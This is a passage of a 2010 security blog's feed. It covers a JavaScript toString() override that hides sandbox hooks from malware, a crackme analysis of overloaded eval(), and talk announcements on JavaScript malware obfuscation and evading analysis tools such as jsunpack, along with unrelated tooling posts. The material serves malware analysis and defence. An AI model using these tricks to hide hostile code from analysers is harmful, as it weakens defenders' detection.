&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var original = this.__proto__.toString;
&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; this.__proto__.toString = function() {
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var a = original.call(this);

&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if (a.match("_RANDOMIZE_ME"))
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return original.toString();
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return a;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; };

&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return function() {
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; // dummy operation to avoid removal by the optimizer
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; ["_RANDOMIZE_ME"] 
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; var BODY = " {\n\t[native code]\n}";
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return fn_header + BODY;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;});
};
&lt;/pre&gt;and use it like:&lt;br /&gt;
&lt;pre class="js" name="code"&gt;emulateToStringRecursive(window.open, 'function open()');
&lt;/pre&gt;This will make sure that &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window.open.toString()&lt;/span&gt; returns:&lt;br /&gt;
&lt;pre class="js" name="code"&gt;function open() {
&amp;nbsp;&amp;nbsp;&amp;nbsp; [native code]
}
&lt;/pre&gt;but &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window.open.toString.toString()&lt;/span&gt;, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;window.open.toString.toString.toString()&lt;/span&gt; and below return:&lt;br /&gt;
&lt;pre class="js" name="code"&gt;function toString() {
&amp;nbsp;&amp;nbsp;&amp;nbsp; [native code]
}
&lt;/pre&gt;just like original functions would. With this code in place it is now harder for malware authors to detect the sandbox. &lt;br /&gt;
&lt;br /&gt;
To make the protection more bullet proof, we should introduce&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;randomization ("&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;RANDOMIZE_ME&lt;/span&gt;" should be changed into random string by some preprocessor)&lt;/li&gt;
&lt;li&gt;anonymization (don't put it in a global variable)&lt;/li&gt;
&lt;li&gt;monitoring checking/modifying getters &amp;amp; setters at Spidermonkey layer - just like with &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval()&lt;/span&gt;. So that if malware tries to detect this technique by looking at the getters, we'll catch it.&lt;/li&gt;
&lt;/ul&gt;You could look at the code and the example script here &lt;a href="http://github.com/koto/owasp-malicious-javascript/tree/master/tostring/"&gt;http://github.com/koto/owasp-malicious-javascript/tree/master/tostring/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
To test it within jsunpack, put the relevant code in the end of &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;pre.js&lt;/span&gt;.&lt;br /&gt;
&lt;h2&gt;Disclaimer&lt;/h2&gt;Of course, I know that this is also trivially easy to detect (I won't publish the code for this though), but I think it does require JS skills from the bad guys, and we could hope that this will slow them down a little. With monitoring in place we could also make this almost perfect.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-2751973575651109911?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/2751973575651109911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=2751973575651109911' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2751973575651109911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2751973575651109911'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/06/ultimate-tostring-override.html' title='Ultimate toString() override'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-3869198176855636875</id><published>2010-06-08T20:58:00.001+02:00</published><updated>2010-06-08T20:58:38.963+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><category scheme='http://www.blogger.com/atom/ns#' term='talk'/><title type='text'>Save your data from SQL injection - materials</title><content type='html'>These are the slides from my talk given today at &lt;a href="http://krakspot.pl/2010/05/29/krakspot-tech-agenda/"&gt;Krakspot Tech&lt;/a&gt; meeting: &lt;br /&gt;
&lt;br /&gt;
&lt;div style="width:425px" id="__ss_4427692"&gt;&lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/kkotowicz/ocal-swoje-dane-przed" title="Jak ocalić swoje dane przed SQL injection?"&gt;Jak ocalić swoje dane przed SQL injection?&lt;/a&gt;&lt;/strong&gt;&lt;object id="__sse4427692" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=krakspot-sql-injection-100607052053-phpapp01&amp;stripped_title=ocal-swoje-dane-przed" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse4427692" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=krakspot-sql-injection-100607052053-phpapp01&amp;stripped_title=ocal-swoje-dane-przed" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="padding:5px 0 12px"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/kkotowicz"&gt;Krzysztof Kotowicz&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-3869198176855636875?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/3869198176855636875/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=3869198176855636875' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/3869198176855636875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/3869198176855636875'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/06/save-your-data-from-sql-injection.html' title='Save your data from SQL injection - materials'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-2178847584550116993</id><published>2010-05-29T21:00:00.003+02:00</published><updated>2010-06-04T16:15:04.409+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='overloading'/><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='sqli'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='eval'/><title type='text'>Incoming lectures on malware and on SQL injection</title><content type='html'>I will be giving two talks next month:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Save your data from SQL injection&lt;/b&gt;&lt;br /&gt;
8.06.2010 - &lt;a href="http://krakspot.pl/2010/05/29/krakspot-tech-agenda/"&gt;Krakspot Tech meeting&lt;/a&gt; &lt;br /&gt;
This is a heavily modified version of &lt;a href="http://blog.kotowicz.net/2010/03/hardening-php-sql-injection-complete.html"&gt;my previous talk&lt;/a&gt; given at OWASP meeting, however this one is less code-oriented and the emphasis is given on understanding the vulnerability. Plus - it's newer, and newer is better ;)&lt;br /&gt;
&lt;blockquote&gt;Time: 8.06.2010, 18:00&lt;br /&gt;
Place: Swing, Kraków, Bożego Ciała 9 &lt;br /&gt;
&lt;a href="http://www.it.wkrakowie.org/2010/06/01/krakspot-tech-1/"&gt;more info&lt;/a&gt; &lt;/blockquote&gt;&lt;b&gt;Creating, obfuscating and analysis of JavaScript-based &lt;span class="il"&gt;malware&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span class="il"&gt;10.06.2010 - OWASP Polish Chapter meeting&lt;/span&gt;&lt;br /&gt;
Malware attacks on unaware Internet users' browsers are becoming more and more common. New techniques for bypassing filters used by security vendors emerge in time. In turn, the filters are getting better, new analyzing tools are developed - the war continues. At the presentation you will learn how crackers are trying to hamper the work of security engineers, and how reversers are overcoming those problems. Emphasis will be placed on the weaknesses of automated tools - we'll try to avoid detection by &lt;a href="http://jsunpack.blogspot.com/"&gt;jsunpack&lt;/a&gt; and &lt;a href="https://projects.honeynet.org/capture-hpc"&gt;Capture-HPC&lt;/a&gt;, we'll also trick &lt;a href="http://dean.edwards.name/unpacker/"&gt;Dean Edwards' Unpacker&lt;/a&gt;.&lt;br /&gt;
This talk, on the other hand is code oriented as we'll be using some JavaScript trickery, however everything will be explained so you don't need to be a &lt;a href="http://jsninja.com/"&gt;JavaScript ninja&lt;/a&gt; to understand it.&lt;br /&gt;
&lt;blockquote&gt;Time: 10.06.2010, 18:00&lt;br /&gt;
Place: Wydział Fizyki i Informatyki Stosowanej AGH ul. Reymonta 19, budynek D-10 Sala: A (aula)&lt;br /&gt;
more info: &lt;a href="https://lists.owasp.org/pipermail/owasp-poland/2010-June/000107.html"&gt;[1]&lt;/a&gt; &lt;a href="http://wampir.mroczna-zaloga.org/archives/868-krakow-10-czerwca-spotkanie-owasp.html"&gt;[2]&lt;/a&gt;&lt;a href="http://blog.kotowicz.net/2010/05/incoming-lectures-on-malware-and-on-sql.html"&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;br /&gt;
All materials will be published after the meetings, I believe there might also be some a/v streams recorded by the hosts, but I'm not sure. Of course - everyone's invited, I'll update the post with the exact place&amp;amp;time in a few days.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-2178847584550116993?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/2178847584550116993/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=2178847584550116993' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2178847584550116993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/2178847584550116993'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/05/incoming-lectures-on-malware-and-on-sql.html' title='Incoming lectures on malware and on SQL injection'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-1952521176870854797</id><published>2010-05-13T16:31:00.000+02:00</published><updated>2010-05-13T16:31:21.371+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='eval'/><title type='text'>Deobfuscating PHP scripts with evalhook</title><content type='html'>Just a quick note - Similar to &lt;a href="http://blog.kotowicz.net/2010/04/beating-javascript-obfuscators-with.html"&gt;my previous approach in JavaScript&lt;/a&gt; Stefan Esser from &lt;a aiotitle="Month of PHP Security" href="http://php-security.org/index.html"&gt;Month of PHP Security&lt;/a&gt; successfully tried to deobfuscate a PHP script today. &lt;br /&gt;
&lt;br /&gt;
He developed a PHP extension called &lt;a href="http://php-security.org/downloads/evalhook-0.1.tar.gz"&gt;evalhook&lt;/a&gt; that, well, hooks into &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval()&lt;/span&gt;calls in PHP, displays a code to be executed and asks for a confirmation to run it. That way all user space PHP obfuscators (usually called encoders) are pointless - so please don't use them to protect your script from being seen.&lt;br /&gt;
&lt;br /&gt;
Funny thing is that Stefan took the same way as me to deobfuscate a code written in a &lt;a href="http://en.wikipedia.org/wiki/Dynamic_programming_language"&gt;dynamic language&lt;/a&gt; - just hook into &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval()&lt;/span&gt; and you're done. It's THAT simple.&lt;br /&gt;
&lt;br /&gt;
Go ahead and read more on &lt;a href="http://php-security.org/2010/05/13/article-decoding-a-user-space-encoded-php-script/"&gt;decoding a user space PHP script&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-1952521176870854797?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/1952521176870854797/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=1952521176870854797' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1952521176870854797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/1952521176870854797'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/05/deobfuscating-php-scripts-with-evalhook.html' title='Deobfuscating PHP scripts with evalhook'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-7716112202808957146</id><published>2010-05-07T15:46:00.002+02:00</published><updated>2010-05-07T15:54:14.748+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='log'/><category scheme='http://www.blogger.com/atom/ns#' term='grep'/><category scheme='http://www.blogger.com/atom/ns#' term='search'/><category scheme='http://www.blogger.com/atom/ns#' term='diff'/><category scheme='http://www.blogger.com/atom/ns#' term='svn'/><title type='text'>Grep Subversion log messages with svn-grep</title><content type='html'>Back in the days when I used branches sparingly, I used the Subversion log messages to track features I was working on. When working simultaneously on two distinct features (e.g. &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;SITE_REDESIGN&lt;/span&gt; and &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;SWITCH_LANGUAGE&lt;/span&gt;), I tried to commit the changes separately for each feature, so my log messages looked similar to this:&lt;br /&gt;
&lt;pre class="text" name="code"&gt;r1000
SITE_REDESIGN
 - fixed CSS code for MSIE
 - redesign product pages

r1001
SWITCH_LANGUAGE
 - added language switcher to header
&lt;/pre&gt;That way when looking at the log history, I immediately knew which commit was related to which feature. Today I needed to port some my changes to a different repository - so I had to check all the revisions related to e.g. &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;SITE_REDESIGN&lt;/span&gt; feature and review them. It's an easy task in &lt;a href="http://tortoisesvn.tigris.org/"&gt;TortoiseSVN&lt;/a&gt;, however I'm on Linux now (and extraordinary &lt;a href="http://rabbitvcs.org/"&gt;RabbitVCS&lt;/a&gt; does not yet have the feature of searching in log messages). So I wrote a small tool that would do the task for me - and here I present you with&lt;br /&gt;
&lt;h2&gt;svn-grep&lt;/h2&gt;With this tool, you could easily search all your commit history for a given string and save accompanying log messages and diff files in a specified directory for review. You could use it for tracking poor-man's branches as I am, find a bugfix for a given bug etc.&lt;br /&gt;
&lt;h2&gt;Example&lt;/h2&gt;&lt;pre class="shell" name="code"&gt;$ cd my-project
$ svn-grep SWITCH_LANGUAGE
&lt;/pre&gt;This will fetch all logs &amp;amp; diff files for all revisions having &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;SWITCH_LANGUAGE&lt;/span&gt; in log message and put it into &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;my-project/report-SWITCH_LANGUAGE&lt;/span&gt;. So in one central place you have all the related files and you could, as I am right now, manually review and port the feature to a similar project.&lt;br /&gt;
&lt;h2&gt;Download and info&lt;/h2&gt;&lt;a href="http://github.com/koto/svn-tools"&gt;svn-grep&lt;/a&gt; is hosted at &lt;a href="http://github.com/"&gt;GitHub&lt;/a&gt; alongside with my other tools for Subversion (currently the script exporting a working copy to a zip). It's MIT-licensed, so you can freely download &amp;amp; use it. You're also welcome to fork the project and introduce some new features for it, right now it's just a newborn baby :)&lt;br /&gt;
&lt;br /&gt;
See the &lt;a href="http://github.com/koto/svn-tools"&gt;project page&lt;/a&gt; for download and more info.&lt;br /&gt;
&lt;br /&gt;
But it still looks like I'm moving slowly into git...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-7716112202808957146?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/7716112202808957146/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=7716112202808957146' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/7716112202808957146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/7716112202808957146'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/05/grep-subversion-log-messages-with-svn.html' title='Grep Subversion log messages with svn-grep'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-8372421050312508819</id><published>2010-04-30T15:27:00.001+02:00</published><updated>2010-04-30T15:31:25.877+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='jquery'/><category scheme='http://www.blogger.com/atom/ns#' term='datepicker'/><category scheme='http://www.blogger.com/atom/ns#' term='ui'/><category scheme='http://www.blogger.com/atom/ns#' term='events'/><category scheme='http://www.blogger.com/atom/ns#' term='clone'/><title type='text'>Cloning jQuery UI datepicker</title><content type='html'>In case you were having problems with cloning fields with &lt;a href="http://jqueryui.com/demos/datepicker/"&gt;jQuery UI datepicker&lt;/a&gt; attached to them - solutions &lt;a href="http://www.beginnercode.com/2009/12/17/cloning-table-rows-and-jquery-ui-datepicker/"&gt;mentioned&lt;/a&gt; &lt;a href="http://dev.jqueryui.com/ticket/4921"&gt;in&lt;/a&gt; &lt;a href="http://stackoverflow.com/questions/1059107/why-does-jquery-uis-datepicker-break-with-a-dynamic-dom"&gt;the&lt;/a&gt; &lt;a href="http://www.mail-archive.com/jquery-ui@googlegroups.com/msg02855.html"&gt;interwebs&lt;/a&gt; are similar to this one:&lt;br /&gt;
&lt;pre class="js" name="code"&gt;$('.cloned-input').removeClass('hasDatepicker').datepicker(); 
&lt;/pre&gt;However, that did not work for me. If you happen to have a set of similar symptoms: &lt;br /&gt;
&lt;ul&gt;&lt;li&gt;new datepicker is not instantiated at all&lt;/li&gt;
&lt;li&gt;JS errors occur while instantiating new datepicker&lt;/li&gt;
&lt;li&gt;even if datepicker is cloned, it refers to the old field&lt;/li&gt;
&lt;/ul&gt;the issue is that there are remaining (cloned) events (if you're using &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-size: small;"&gt;.clone(true) &lt;/span&gt;like me) on the field AND there is a still attached cloned datepicker object.&lt;br /&gt;
&lt;h2&gt;Solution&lt;/h2&gt;Either imitate &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;datepicker('destroy')&lt;/span&gt; manually:&lt;br /&gt;
&lt;pre class="js" name="code"&gt;$input = $('.cloned-input'); 
// remove still present related DOM objects
$input.siblings('.ui-datepicker-trigger,.ui-datepicker-apply').remove();
// remove datepicker object and detach events 
$input
&amp;nbsp; .removeClass('hasDatepicker')
&amp;nbsp; .removeData('datepicker')
&amp;nbsp; .unbind()
&amp;nbsp; .datepicker();
&lt;/pre&gt;or implement a different procedure:&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;before cloning destroy the datepicker on the base input&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;clone(true)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;recreate the datepicker on base input&lt;/li&gt;
&lt;li&gt;use&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; unbind()&lt;/span&gt; and recreate datepicker on cloned input&lt;/li&gt;
&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-8372421050312508819?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.kotowicz.net/feeds/8372421050312508819/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=8372421050312508819' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/8372421050312508819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3650259870998252242/posts/default/8372421050312508819'/><link rel='alternate' type='text/html' href='http://blog.kotowicz.net/2010/04/cloning-jquery-ui-datepicker.html' title='Cloning jQuery UI datepicker'/><author><name>Krzysztof Kotowicz</name><uri>http://www.blogger.com/profile/11516786094492717236</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09387454271072736782'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3650259870998252242.post-691507761367868851</id><published>2010-04-16T03:51:00.002+02:00</published><updated>2010-04-16T04:05:11.638+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='overloading'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscation'/><category scheme='http://www.blogger.com/atom/ns#' term='eval'/><category scheme='http://www.blogger.com/atom/ns#' term='firebug'/><title type='text'>When overloading eval() fails</title><content type='html'>Today I encountered a small issue when decoding &lt;a href="http://bootcamp.threats.pl/lesson20/main1.php"&gt;yet another 'crackme' challenge from Paweł Goleń&lt;/a&gt;. This time it turned out to be just a little bit more difficult, as Paweł:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt; used some &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;onerror&lt;/span&gt; handlers to run the code&lt;/li&gt;
&lt;li&gt;tried (unsuccessfully) to beat my function overloading&lt;/li&gt;
&lt;li&gt;used multi-level obfuscation&lt;/li&gt;
&lt;/ul&gt;But obviously, this could only slow down any determined programmer. So there I was, happily decrypting the code bit by bit, restarting Firefox from time to time (heavy debugging session in Firebug always ends up like this for me ;) ) when suddenly the code stopped working.&lt;br /&gt;
&lt;br /&gt;
And all I did was to replace &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval('code')&lt;/span&gt; with &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;code&lt;/span&gt;. To be more specific, that is the actual code:&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;img onerror="eval('code;') // ok" src="http://i.dont.exist" /&amp;gt;
&amp;lt;img onerror="code; //gives errors" src="http://i.dont.exist" /&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
Such operation usually has no side effects - after all, &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval&lt;/span&gt; is meant to immediately &lt;a href="https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Global_Functions/eval"&gt;evaluate the passed code&lt;/a&gt;. But my &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval&lt;/span&gt; was overloaded (check &lt;a href="http://blog.kotowicz.net/2010/04/beating-javascript-obfuscators-with.html"&gt;my previous post&lt;/a&gt; to see how I achieved this) and this caused problems. What's even worse - it turned out &lt;b&gt;overloaded eval will not always work as expected and you cannot avoid it!&lt;/b&gt;&lt;br /&gt;
&lt;h2&gt;Eval() is special&lt;/h2&gt;The 'original' &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval&lt;/span&gt; turned out to be a very special function (just like &lt;a href="https://developer.mozilla.org/En/Core_JavaScript_1.5_Reference/Functions_and_function_scope/Arguments"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;arguments&lt;/span&gt; being a very special array&lt;/a&gt;)&amp;nbsp; - it has its own &lt;a href="http://www.jibbering.com/faq/faq_notes/closures.html#clIRExSc"&gt;execution context&lt;/a&gt; and you cannot emulate it with any other function. See the below example:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;script type="text/javascript"&amp;gt;
var y = 'Klaatu barada nikto';
var eval2 = eval;
console.log('in global: ',y,this);
&amp;lt;/script&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;img src="about:blank" onerror="console.log('in event handler:',y,this)"&amp;gt;
&amp;lt;img src="about:blank" onerror="eval(&amp;amp;quot;console.log('in eval:',y,this)&amp;amp;quot;)"&amp;gt;
&amp;lt;img src="about:blank" onerror="eval2(&amp;amp;quot;console.log('in eval2:',y,this)&amp;amp;quot;)"&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
Here we define a global variable &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;y &lt;/span&gt;and we try to read the value of &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;y&lt;/span&gt; from&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;global context (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;script&amp;gt;&lt;/span&gt; element)&lt;/li&gt;
&lt;li&gt;an event handler&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval() &lt;/span&gt;function inside an event handler&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval2()&lt;/span&gt; which is just a reference to 'original' &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;eval&lt;/span&gt; (let's call it dummy overload ;))&lt;/li&gt;
